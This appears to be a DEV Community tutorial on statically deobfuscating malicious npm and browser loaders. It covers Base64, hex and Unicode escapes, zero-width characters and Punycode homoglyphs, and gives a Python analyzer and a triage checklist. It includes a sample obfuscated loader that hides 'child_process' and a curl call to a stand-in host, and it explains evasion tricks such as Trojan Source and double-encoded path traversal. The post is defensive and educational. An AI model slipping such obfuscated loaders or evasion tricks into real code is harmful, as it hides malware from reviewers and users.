DEV Community

Cover image for Deobfuscating Malicious npm & Browser Payloads: Base64, Hex, Unicode Escapes & Homoglyphs
Muhammad Ali Mughal
Muhammad Ali Mughal

Posted on

Deobfuscating Malicious npm & Browser Payloads: Base64, Hex, Unicode Escapes & Homoglyphs

When a supply-chain compromise hits an npm package, a Composer dependency, or a third-party browser script, the malicious loader almost never ships in plain text. Attackers wrap credential-stealing payloads inside multi-stage encoding pipelines—combining Base64/Base64URL chunks, hexadecimal byte arrays, JavaScript \uXXXX Unicode escapes, URL percent-encoding, and invisible zero-width or Cyrillic homoglyph identifiers that slip past hasty code reviews.

While building the browser-side forensics utilities on PixelValut Tools, I have triaged dozens of obfuscated postinstall hooks and suspicious client-side bundles. The golden rule of payload triage is simple: never execute untrusted code to see what it does, and never paste proprietary or incident payloads into a random server-side decoder. Here is the deterministic, zero-trust workflow to peel back every encoding layer safely in your browser or an isolated local shell.

📚 Series Roadmap — Browser-Side Security & Zero-Trust Forensics

  • Part 1 (This Post): Deobfuscating Malicious npm & Browser Payloads: Base64, Hex, Unicode Escapes & Homoglyphs
  • Part 2: Webhook Security in Production: HMAC-SHA256 Signatures, Timestamp Drift & Replay Protection
  • Part 3: OAuth 2.1, OIDC ID Tokens & PKCE Forensics: Auditing Claims, Nonces & Audience Confusion in SPAs
  • Part 4: Regular Expression Denial of Service (ReDoS) in JS & PHP: Spotting Catastrophic Backtracking
  • Part 5: Subdomain Takeover & Dangling DNS Reconnaissance: Auditing CNAME, NS, TXT & TLS Certificates
  • Part 6: Zero-Trust Reverse Proxy Hardening in Nginx: Rate Limiting, Request Smuggling Guards & mTLS

How do you safely deobfuscate suspicious npm or browser payloads without executing them?

Direct answer: Isolate the raw string without running node or eval(), normalize URL percent-encoding and Base64/Base64URL layers offline, decode \xNN hex and \uXXXX Unicode escape sequences into UTF-8 text, inspect every identifier for invisible zero-width characters or Punycode homoglyphs, and extract destination URLs for header-only reconnaissance.

INLINE_IMAGE

Anatomy of a 2026 multi-stage supply-chain loader

In recent npm and PyPI supply-chain waves, attackers avoid obvious child_process.exec("curl ...") calls that static scanners flag immediately. Instead, they hide a tiny loader inside a preinstall or postinstall script or a minified browser widget that reconstructs both the module name and the exfiltration URL at runtime:

// SUSPICIOUS SAMPLE (Sanitized forensic example — DO NOT EXECUTE)
const _0x4a = [
  "\u0063\u0068\u0069\u006c\u0064\u005f\u0070\u0072\u006f\u0063\u0065\u0073\u0073",
  "Y3VybCAtcyBodHRwczovL2FwaS10ZWxlbWV0cnktdXBkYXRlLmV4YW1wbGUvY29uZmln",
];
// Invisible zero-width space (U+200B) hidden inside identifier:
const env\u200BCheck = (s) => Buffer.from(s, "base64").toString("utf8");
Enter fullscreen mode Exit fullscreen mode

Look closely at the three evasion techniques stacked inside those six lines:

  1. Unicode escape sequences (\u0063\u0068...) hide the string "child_process" from simple grep "child_process" checks.
  2. Base64 / Base64URL encoding (Y3VybCAtcy...) conceals the shell command and destination URL (curl -s https://api-telemetry-update.example/config). If the attacker uses URL-safe Base64 (- and _ instead of + and /, often with stripped = padding), naive atob() calls throw a DOMException unless normalized first—a distinction we covered in Base64 vs Base64URL Explained.
  3. Zero-width Unicode characters (\u200B, U+200B ZERO WIDTH SPACE) inside env\u200BCheck make two identifiers look identical in an editor tab (envCheck vs env​Check) while binding to different variables or bypassing AST allowlists.

You can peel back each of these layers without sending a single byte over the network using the client-side PixelValut Base64 Encoder/Decoder and Unicode Inspector.

Step-by-step static deobfuscation script (Zero execution)

When auditing a suspicious file from a pull request or node_modules diff, use a pure string-transform script that decodes escapes and flags non-ASCII code points without ever invoking eval(), Function(), or vm.runInNewContext():

import base64
import re
import unicodedata

def static_deobfuscate(snippet: str) -> dict:
    # 1. Flag invisible zero-width or bidirectional control characters (Trojan Source)
    suspicious_codepoints = []
    for idx, ch in enumerate(snippet):
        cp = ord(ch)
        if unicodedata.category(ch) in ("Cf", "Cc") and ch not in ("\n", "\r", "\t"):
            suspicious_codepoints.append(
                f"pos {idx}: U+{cp:04X} ({unicodedata.name(ch, 'UNKNOWN')})"
            )

    # 2. Decode \xNN and \uXXXX escapes safely via regex
    decoded_escapes = re.sub(
        r"\\u([0-9a-fA-F]{4})|\\x([0-9a-fA-F]{2})",
        lambda m: chr(int(m.group(1) or m.group(2), 16)),
        snippet,
    )

    # 3. Extract and decode candidate Base64 / Base64URL strings (>=20 chars)
    b64_decoded = []
    for token in re.findall(r"[A-Za-z0-9+/_-]{20,}={0,2}", decoded_escapes):
        padded = token + "=" * ((4 - len(token) % 4) % 4)
        try:
            raw = base64.urlsafe_b64decode(padded).decode("utf-8")
            if all(32 <= ord(c) < 127 or c in "\n\r\t" for c in raw):
                b64_decoded.append({"token": token[:24] + "...", "decoded": raw})
        except Exception:
            pass

    return {
        "hidden_unicode_controls": suspicious_codepoints,
        "unescaped_preview": decoded_escapes,
        "decoded_base64_payloads": b64_decoded,
    }
Enter fullscreen mode Exit fullscreen mode

Running that static analyzer on our snippet immediately outputs:

  • hidden_unicode_controls: ['pos 188: U+200B (ZERO WIDTH SPACE)']
  • unescaped_preview: reveals "child_process" in plain ASCII
  • decoded_base64_payloads: reveals "curl -s https://api-telemetry-update.example/config"

Nested translucent smoked glass boxes resting on a dark stone surface, representing layered payload deobfuscation

Common Obfuscation Layers and How to Unpack Them Safely

Use this reference matrix whenever you encounter an unfamiliar encoded blob in logs, browser DevTools, or dependency diffs:

Obfuscation Layer Visual Signature in Code or Traffic Hidden Risk If Missed Safe Browser / CLI Deobfuscation Method
Standard Base64 & Base64URL Strings of A-Za-z0-9+/= or URL-safe - and _ without padding Hides shell commands, C2 domains, or exfiltrated .env secrets; unpadded Base64URL breaks naive atob() Normalize -_ to +/ and pad to mod-4 length, or paste into the client-side Base64 Decoder
URL Percent-Encoding (Single or Double) %253Cscript%253E or %2F..%2F..%2Fetc%2Fpasswd Double encoding (%252e%252e) bypasses single-pass WAF filters that decode only once before routing Run iterative urllib.parse.unquote until output stabilizes, or inspect in URL Encoder/Decoder
Hex (\xNN) & Unicode (\uXXXX) Escapes Arrays of \x65\x76\x61\x6c or \u0066\u0065\u0074\u0063\u0068 Evades static regex rules scanning for eval, fetch, process.env, or document.cookie Unescape hex/Unicode sequences statically before running any grep or AST rule
Zero-Width & Bidi Controls (Trojan Source) Code looks normal in fonts, but byte length exceeds visible character count (U+200B, U+202E RLO) Reverses visual token order (U+202E) so a commented-out check appears active to human reviewers Paste the line into Unicode Inspector to expose every code point and UTF-8 byte sequence
IDN Homograph / Punycode Domains Lookalike domains (pаypal.com with Cyrillic а U+0430) inside decoded fetch URLs Sends credentials or telemetry to an attacker-owned xn-- domain that looks legitimate in UTF-8 Convert hostnames via Punycode Converter and check xn-- ACE prefixes

What to do once you extract a hidden URL or JWT from a payload

Deobfuscating the loader is half the job; the second half is inspecting the extracted destination URL or embedded token without tipping off the attacker or executing their second stage:

  1. Never open a decoded C2 or phishing URL in a normal browser tab. Follow the non-execution triage flow I detailed in How to Inspect a Suspicious Link: Punycode, Redirects, WHOIS—parse the hostname right-to-left, convert any internationalized characters in the Punycode Converter, and check domain registration age.
  2. If the payload contains a bearer token or JWT (eyJ...), decode it purely client-side. Attackers frequently embed short-lived API tokens or service account JWTs inside client bundles. Inspect the header and payload claims locally using the PixelValut JWT Decoder and review our security notes in JSON Web Token (JWT) Security Pitfalls.
  3. Audit image or binary assets bundled with the package. Some loaders hide second-stage payloads inside image metadata blocks or trailing bytes—an attack surface related to the metadata structures we examined in Image Metadata Privacy Leaks: EXIF, GPS & Thumbnails.

The 7-step zero-trust payload triage checklist

  1. Freeze and isolate the artifact. Copy the suspicious string or file into an offline directory without running npm install, composer install, or opening the HTML in a browser.
  2. Scan for invisible Unicode and bidirectional controls first. Paste the snippet into the Unicode Inspector to catch U+200B zero-width spaces, U+FEFF byte-order marks, or U+202E right-to-left overrides.
  3. Unescape \xNN and \uXXXX literals statically. Convert hex and Unicode escape sequences into plain text so hidden API names (child_process, localStorage, fetch, WebSocket) become visible.
  4. Peel back URL percent-encoding iteratively. Run the string through URL Encoder/Decoder until no %XX sequences remain, watching for double-encoded path traversal or script tags.
  5. Decode Base64 and Base64URL chunks locally. Normalize URL-safe - and _ characters and missing = padding in the Base64 Decoder.
  6. Check extracted hostnames for Punycode homographs. Run every discovered domain through the Punycode Converter to verify whether ASCII lookalikes are hiding xn-- domains.
  7. Rotate secrets if an infected lifecycle script ran on a developer machine or CI runner. If a malicious postinstall hook executed before detection, assume every environment variable (process.env), .npmrc token, and SSH key accessible to that user was exfiltrated.

Frequently asked questions

Why shouldn't I just run node -e "console.log(...)" to print what an obfuscated script decodes to?

Many obfuscated loaders include self-executing IIFEs ((() => { ... })()) or getter traps that trigger network calls or filesystem reads the moment the expression is evaluated by V8. Always use static string parsing (or an isolated tool that only transforms encodings) rather than evaluating untrusted JavaScript.

How can I tell the difference between standard Base64, Base64URL, and hex encoding at a glance?

Hex strings contain only 0-9 and a-f (case-insensitive) and always have an even character count. Standard Base64 uses A-Z, a-z, 0-9, +, /, and optional = padding. Base64URL replaces + with -, replaces / with _, and usually omits trailing = padding so the string can sit safely inside URLs and JWT segments.

What is a Trojan Source (Unicode bidirectional) attack in pull requests?

Unicode bidirectional control characters like U+202E (Right-to-Left Override) instruct text renderers to display subsequent characters in reverse visual order while the compiler or interpreter still reads them in logical byte order. An attacker can make code appear commented out in a browser PR diff while it executes in production.

Does npm install --ignore-scripts stop malicious npm packages completely?

Passing --ignore-scripts (or setting ignore-scripts=true in .npmrc) blocks preinstall, install, and postinstall lifecycle hooks—which stops the majority of automated credential-stealing loaders during installation. However, if your application subsequently imports the compromised module at runtime, the malicious code will still run unless caught by lockfile auditing and code review.

Are online "all-in-one" deobfuscator websites safe for incident response?

Only if the tool runs 100% client-side in your browser with zero network requests. When investigating a production incident, an encoded payload may contain your own customer session tokens, internal URLs, or API keys; uploading that blob to a server-side decoder leaks sensitive incident data to a third party.


Follow & Connect

Top comments (0)